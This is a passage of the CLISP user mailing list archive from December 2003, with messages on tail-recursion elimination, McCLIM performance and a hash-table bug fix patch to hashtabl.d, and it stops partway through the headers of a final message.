sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AS0DD-0006Lz-I3 for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 12:36:35 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AS0DC-0001sJ-Qv for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 12:36:35 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB4KaOS20117; Thu, 4 Dec 2003 15:36:25 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Szymon Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Szymon's message of "Thu, 04 Dec 2003 20:28:49 +0100") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: another newbie question (Re: questions) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 12:37:02 2003 X-Original-Date: Thu, 04 Dec 2003 15:36:24 -0500 > * Szymon [2003-12-04 20:28:49 +0100]: > >> >> > Does clisp have tail recursion optimization to prevent stack overflows >> >> > on deep recursions? >> >> no. > "no" ---> both interpreted & compiled code? yes. >> > why ? >> debuggability > Thanks. > > Does compilation (in clisp) transform tail-recursion to loops? no. patches that optionally optimize tail calls (not necessarily recursive) are welcome. > For example: before compilation I can execute tail-rec fuction ~3000 > times (clisp -m2MB), after compile '... 30000+ (no time to test it > longer). compiled code uses less stack. -- Sam Steingold (http://www.podval.org/~sds) running w2k The difference between genius and stupidity is that genius has its limits. From amoroso@mclink.it Thu Dec 04 12:41:21 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AS0Hp-0006wU-JI for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 12:41:21 -0800 Received: from mail4.mclink.it ([195.110.128.78]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AS0Hp-0006bj-0T for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 12:41:21 -0800 Received: from net145-061.mclink.it (net145-061.mclink.it [195.110.145.61]) by mail4.mclink.it (8.12.6p2/8.12.3) with ESMTP id hB4KfCqn053977 for ; Thu, 4 Dec 2003 21:41:13 +0100 (CET) (envelope-from amoroso@mclink.it) Received: (qmail 924 invoked by uid 1000); 4 Dec 2003 20:32:50 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: survey: native compilation/lispworks References: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> From: Paolo Amoroso Organization: Paolo Amoroso - Milano, ITALY In-Reply-To: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> (Raymond Toy's message of "Thu, 04 Dec 2003 13:09:27 -0500") Message-ID: <87ptf4uxvx.fsf@plato.moon.paoloamoroso.it> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/20.7 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 12:42:05 2003 X-Original-Date: Thu, 04 Dec 2003 21:32:50 +0100 Raymond Toy writes: > Do you think clisp could run McCLIM fast enough to be usable? Just You bet. Early versions of McCLIM did run on CLISP (only with MIT CLX and not NCLX, I seem to remember). Performance was "acceptable" with CLISP and "good" with CMUCL under Linux on my old 200 MHz, non-MMX Pentium PC with 64 MB of RAM... > curious. McCLIM is pretty slow with cmucl on a 400 MHz sparc box. > It's pretty slow on a 900 MHz x86 box too. ...but now McCLIM just flies on my new 2.8 GHz Pentium IV monster with 2 GB of RAM :) The CLIM listener takes around 15 seconds to draw the impressive graph generated by the command: Show Class Subclasses (class) t Paolo -- Why Lisp? http://alu.cliki.net/RtL%20Highlight%20Film From sds@alphatech.com Thu Dec 04 13:32:44 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AS15Y-0002Bw-Ro for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 13:32:44 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AS15Y-0007mP-6Q for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 13:32:44 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB4LWYS07109; Thu, 4 Dec 2003 16:32:35 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Matt Cross Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.1.6.2.20031202164046.00b16840@mail.hq.irobot.com> (Matt Cross's message of "Tue, 02 Dec 2003 16:43:10 -0500") References: <5.1.1.6.2.20031202164046.00b16840@mail.hq.irobot.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Bug in hash tables? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 13:33:03 2003 X-Original-Date: Thu, 04 Dec 2003 16:32:34 -0500 > * Matt Cross [2003-12-02 16:43:10 -0500]: > > I'm running clisp-2.31 on Windows 2000. When I run the code at the > end of this message, it ends up with some entries in the hash table > twice (once with the value 't' and once with the correct numeric > value). Am I doing something incorrect or is this a bug in clisp? this is a bug in CLISP, introduced on 2003-05-13. Please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k Those who can laugh at themselves will never cease to be amused. --- hashtabl.d.~1.57.~ 2003-10-27 09:34:27.700910400 -0500 +++ hashtabl.d 2003-12-04 16:28:05.421879500 -0500 @@ -1148,20 +1148,26 @@ } /* Macro: Enlarges a hash-table until freelist /= nix - hash_prepare_store(key_pos); - > int literal: key position in STACK + hash_prepare_store(hash_pos,key_pos); > int literal: hash-table position in STACK + > int literal: key position in STACK < object ht: hash-table < object freelist: start of the free-list in the next-vector, /= nix < gcv_object_t* Iptr: arbitrary element of the "list", that belongs to the key + for EQ/EQL hashtables the hash code changes after GC, + so the raw hashcode cannot be cached. + for EQUAL/EQUALP/user-defined hashtables, raw hashcode caching is good + (especially for the user-defined tables, where hashcode can trigger GC!) can trigger GC */ #define hash_prepare_store(hash_pos,key_pos) \ - do { var uintL hc_raw = hashcode_raw(STACK_(hash_pos),STACK_(key_pos)); \ - ht = STACK_(hash_pos); \ - retry: \ + do { ht = STACK_(hash_pos); \ freelist = TheHashtable(ht)->ht_freelist; \ if (eq(freelist,nix)) { /* free-list = empty "list" ? */ \ - /* yes -> hash-table must be enlarged: */ \ + var uintB flags = record_flags(TheHashtable(ht)); \ + var uintL hc_raw = 0; \ + var bool cacheable = !(flags & (bit(0)|bit(1))); /* not EQ|EQL */ \ + if (cacheable) hc_raw = hashcode_raw(ht,STACK_(key_pos)); \ + retry: /* hash-table must still be enlarged: */ \ /* calculate new maxcount: */ \ pushSTACK(TheHashtable(ht)->ht_maxcount); \ pushSTACK(TheHashtable(ht)->ht_rehash_size); /* REHASH-SIZE (>1) */ \ @@ -1171,9 +1177,12 @@ ht = resize(STACK_(hash_pos),value1); /* enlarge table */ \ ht = rehash(ht); /* and reorganize */ \ /* newly calculate the address of the entry in the index-vector: */ \ - {var uintL hashindex = hashcode_cook(hc_raw,TheHashtable(ht)->ht_size); \ + {var uintL hashindex = cacheable \ + ? hashcode_cook(hc_raw,TheHashtable(ht)->ht_size) \ + : hashcode(ht,STACK_(key_pos)); \ Iptr = &TheSvector(TheHashtable(ht)->ht_itable)->data[hashindex];} \ - goto retry; \ + freelist = TheHashtable(ht)->ht_freelist; \ + if (eq(freelist,nix)) goto retry; \ } \ } while(0) From pascal@informatimago.com Thu Dec 04 13:53:19 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AS1PT-0003fa-1Q for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 13:53:19 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AS1PR-0006lu-UN for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 13:53:18 -0800 Received: from thalassa.informatimago.com (unknown [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C2561586E9; Thu, 4 Dec 2003 22:53:10 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2EBA33B04D; Thu, 4 Dec 2003 22:52:55 +0100 (CET) Message-ID: <16335.44215.105261.395203@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Szymon Cc: Sam Steingold Subject: [clisp-list] Re: another newbie question (Re: questions) In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 13:54:02 2003 X-Original-Date: Thu, 4 Dec 2003 22:52:55 +0100 Sam Steingold writes: > > * Szymon [2003-12-04 20:28:49 +0100]: > > > >> >> > Does clisp have tail recursion optimization to prevent stack overflows > >> >> > on deep recursions? > >> >> no. > > "no" ---> both interpreted & compiled code? > yes. > > >> > why ? > >> debuggability > > Thanks. > > > > Does compilation (in clisp) transform tail-recursion to loops? > > no. patches that optionally optimize tail calls (not necessarily > recursive) are welcome. > > > For example: before compilation I can execute tail-rec fuction ~3000 > > times (clisp -m2MB), after compile '... 30000+ (no time to test it > > longer). > > compiled code uses less stack. I'm sorry Sam but you're wrong. CLISP reduces tail-recursion in compiled code: [31]> (defun fact (n &optional (r 1)) (if (> n 1) (fact (1- n) (* r n)) r)) FACT [32]> (disassemble 'fact) Disassembly of function FACT (CONST 0) = 1 1 required argument 1 optional argument No rest parameter No keyword parameters 16 byte-code instructions: 0 L0 0 (JMPIFBOUNDP 1 L5) 3 (CONST 0) ; 1 4 (STORE 1) 5 L5 5 (LOAD&PUSH 2) 6 (CONST&PUSH 0) ; 1 7 (CALLSR&JMPIF 1 49 L14) ; > 11 (LOAD 1) 12 (SKIP&RET 3) 14 L14 14 (LOAD&DEC&PUSH 2) 16 (LOAD&PUSH 2) 17 (LOAD&PUSH 4) 18 (CALLSR&PUSH 2 56) ; * 21 (JMPTAIL 2 5 L0) <========================= HERE =================== # [35]> (defun fact2 (n &optional (r 1)) (cond ((<= n 1) r) ((evenp n) (fact2 (- n 2) (* r n (1- n)))) (t (fact2 (1- n) (* r n))))) FACT2 [36]> (disassemble 'fact2) Disassembly of function FACT2 (CONST 0) = 1 (CONST 1) = -2 1 required argument 1 optional argument No rest parameter No keyword parameters 27 byte-code instructions: 0 L0 0 (JMPIFBOUNDP 1 L5) 3 (CONST 0) ; 1 4 (STORE 1) 5 L5 5 (LOAD&PUSH 2) 6 (CONST&PUSH 0) ; 1 7 (CALLSR&JMPIF 1 50 L26) ; <= 11 (LOAD&PUSH 2) 12 (CALLS2&JMPIF 148 L29) ; EVENP 15 (LOAD&DEC&PUSH 2) 17 (LOAD&PUSH 2) 18 (LOAD&PUSH 4) 19 (CALLSR&PUSH 2 56) ; * 22 (JMPTAIL 2 5 L0) <========================= HERE =================== 26 L26 26 (LOAD 1) 27 (SKIP&RET 3) 29 L29 29 (CONST&PUSH 1) ; -2 30 (LOAD&PUSH 3) 31 (CALLSR&PUSH 2 54) ; + 34 (LOAD&PUSH 2) 35 (LOAD&PUSH 4) 36 (LOAD&DEC&PUSH 5) 38 (CALLSR&PUSH 3 56) ; * 41 (JMPTAIL 2 5 L0) <========================= HERE =================== # Why do you think there is a JMPTAIL instruction in the virtual machine? -- __Pascal_Bourguignon__ http://www.informatimago.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Living free in Alaska or in Siberia, a grizzli's life expectancy is 35 years, but no more than 8 years in captivity. http://www.theadvocates.org/ From fc@all.net Thu Dec 04 13:59:26 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AS1VN-000429-Up for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 13:59:25 -0800 Received: from red.all.net ([216.135.231.242]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AS1VN-0000Z7-IO for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 13:59:25 -0800 Received: by red.all.net (Postfix, from userid 101) id B83BFCA81A6; Thu, 4 Dec 2003 14:03:34 -0800 (PST) Subject: Re: [clisp-list] Re: Bug in hash tables? To: clisp-list@lists.sourceforge.net In-Reply-To: from "Sam Steingold" at Dec 04, 2003 04:32:34 PM From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20031204220334.B83BFCA81A6@red.all.net> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 14:00:02 2003 X-Original-Date: Thu, 4 Dec 2003 14:03:34 -0800 (PST) Per the message sent by Sam Steingold: ... > --- hashtabl.d.~1.57.~ 2003-10-27 09:34:27.700910400 -0500 > +++ hashtabl.d 2003-12-04 16:28:05.421879500 -0500 > @@ -1148,20 +1148,26 @@ > } Ouch! I don't see a hashtabl.d in my clisp sources... and I have seen no errors in my clisp! And I compiled from a fairly recent source about a month ago. What am I missing? FC -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From sds@alphatech.com Thu Dec 04 14:08:11 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AS1dr-0004bC-2T for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 14:08:11 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AS1dq-0004aZ-44 for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 14:08:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB4M7oS17361; Thu, 4 Dec 2003 17:07:51 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Cc: clisp-list@lists.sourceforge.net, Szymon Subject: Re: [clisp-list] Re: another newbie question (Re: questions) Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16335.44215.105261.395203@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Thu, 4 Dec 2003 22:52:55 +0100") References: <16335.44215.105261.395203@thalassa.informatimago.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 14:09:01 2003 X-Original-Date: Thu, 04 Dec 2003 17:07:50 -0500 > * Pascal J.Bourguignon [2003-12-04 22:52:55 +0100]: > > I'm sorry Sam but you're wrong. CLISP reduces tail-recursion in > compiled code: good. I mis-remembered. So CLISP does eliminate tail-recursion, but not tail calls. thanks for correcting me. -- Sam Steingold (http://www.podval.org/~sds) running w2k Someone has changed your life. Save? (y/n) From sds@alphatech.com Thu Dec 04 14:26:46 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AS1vq-0005g0-RC for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 14:26:46 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AS1vp-0007j5-Tr for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 14:26:46 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB4MQXS22411; Thu, 4 Dec 2003 17:26:34 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, fc@all.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031204220334.B83BFCA81A6@red.all.net> (Fred Cohen's message of "Thu, 4 Dec 2003 14:03:34 -0800 (PST)") References: <20031204220334.B83BFCA81A6@red.all.net> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Bug in hash tables? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 14:27:05 2003 X-Original-Date: Thu, 04 Dec 2003 17:26:33 -0500 > * Fred Cohen [2003-12-04 14:03:34 -0800]: > > Per the message sent by Sam Steingold: > > ... >> --- hashtabl.d.~1.57.~ 2003-10-27 09:34:27.700910400 -0500 >> +++ hashtabl.d 2003-12-04 16:28:05.421879500 -0500 >> @@ -1148,20 +1148,26 @@ >> } > > Ouch! I don't see a hashtabl.d in my clisp sources... and I have seen > no errors in my clisp! And I compiled from a fairly recent source > about a month ago. What am I missing? -- Sam Steingold (http://www.podval.org/~sds) running w2k (let ((a "(let ((a %c%s%c)) (format a 34 a 34))")) (format a 34 a 34)) From fc@all.net Thu Dec 04 15:32:47 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AS2xj-0000cA-Eg for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 15:32:47 -0800 Received: from red.all.net ([216.135.231.242]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AS2xi-0003K4-UE for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 15:32:47 -0800 Received: by red.all.net (Postfix, from userid 101) id 98F47CA81A6; Thu, 4 Dec 2003 15:36:57 -0800 (PST) To: clisp-list@lists.sourceforge.net In-Reply-To: from "Sam Steingold" at Dec 04, 2003 04:32:34 PM From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20031204233657.98F47CA81A6@red.all.net> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Patch for bug in hashtables Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 15:33:02 2003 X-Original-Date: Thu, 4 Dec 2003 15:36:57 -0800 (PST) Per the message sent by Sam Steingold: > > * Matt Cross [2003-12-02 16:43:10 -0500]: > > > > I'm running clisp-2.31 on Windows 2000. When I run the code at the > > end of this message, it ends up with some entries in the hash table > > twice (once with the value 't' and once with the correct numeric > > value). Am I doing something incorrect or is this a bug in clisp? > this is a bug in CLISP, introduced on 2003-05-13. > Please try the appended patch. clisp-2.31/src>patch hashtabl.d patch patching file hashtabl.d patch: **** malformed patch at line 35: @@ -1171,9 +1177,12 @@ ll hashtabl.d -rw-rw-r-- 1 500 500 85102 May 24 2003 hashtabl.d Is there a particular different approach I should take to this patch? FC -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From sds@alphatech.com Fri Dec 05 05:21:41 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASFtt-0000fU-LD for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 05:21:41 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ASFtt-0002LQ-7b for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 05:21:41 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB5DLWB24453; Fri, 5 Dec 2003 08:21:33 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, fc@all.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031204233657.98F47CA81A6@red.all.net> (Fred Cohen's message of "Thu, 4 Dec 2003 15:36:57 -0800 (PST)") References: <20031204233657.98F47CA81A6@red.all.net> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Patch for bug in hashtables Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 5 05:22:04 2003 X-Original-Date: Fri, 05 Dec 2003 08:21:32 -0500 > * Fred Cohen [2003-12-04 15:36:57 -0800]: > > Is there a particular different approach I should take to this patch? this is a simple unified diff and should have worked OOTB. please try CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k Abandon all hope, all ye who press Enter. From toy@rtp.ericsson.se Fri Dec 05 06:31:06 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASGz4-0003xq-NN for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 06:31:06 -0800 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ASGz4-0007oZ-67 for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 06:31:06 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id hB5EUxYb017950; Fri, 5 Dec 2003 08:30:59 -0600 (CST) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id Y2B76DNH; Fri, 5 Dec 2003 08:30:58 -0600 Received: from edgedsp7.rtp.ericsson.se (edgedsp7.rtp.ericsson.se [147.117.85.227]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id hB5EUvD21588; Fri, 5 Dec 2003 08:30:58 -0600 (CST) To: Paolo Amoroso Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: survey: native compilation/lispworks References: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> <87ptf4uxvx.fsf@plato.moon.paoloamoroso.it> From: Raymond Toy In-Reply-To: <87ptf4uxvx.fsf@plato.moon.paoloamoroso.it> (Paolo Amoroso's message of "Thu, 04 Dec 2003 21:32:50 +0100") Message-ID: <4nd6b32v6m.fsf@edgedsp7.rtp.ericsson.se> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (celeriac, usg-unix-v) MIME-Version: 1.0 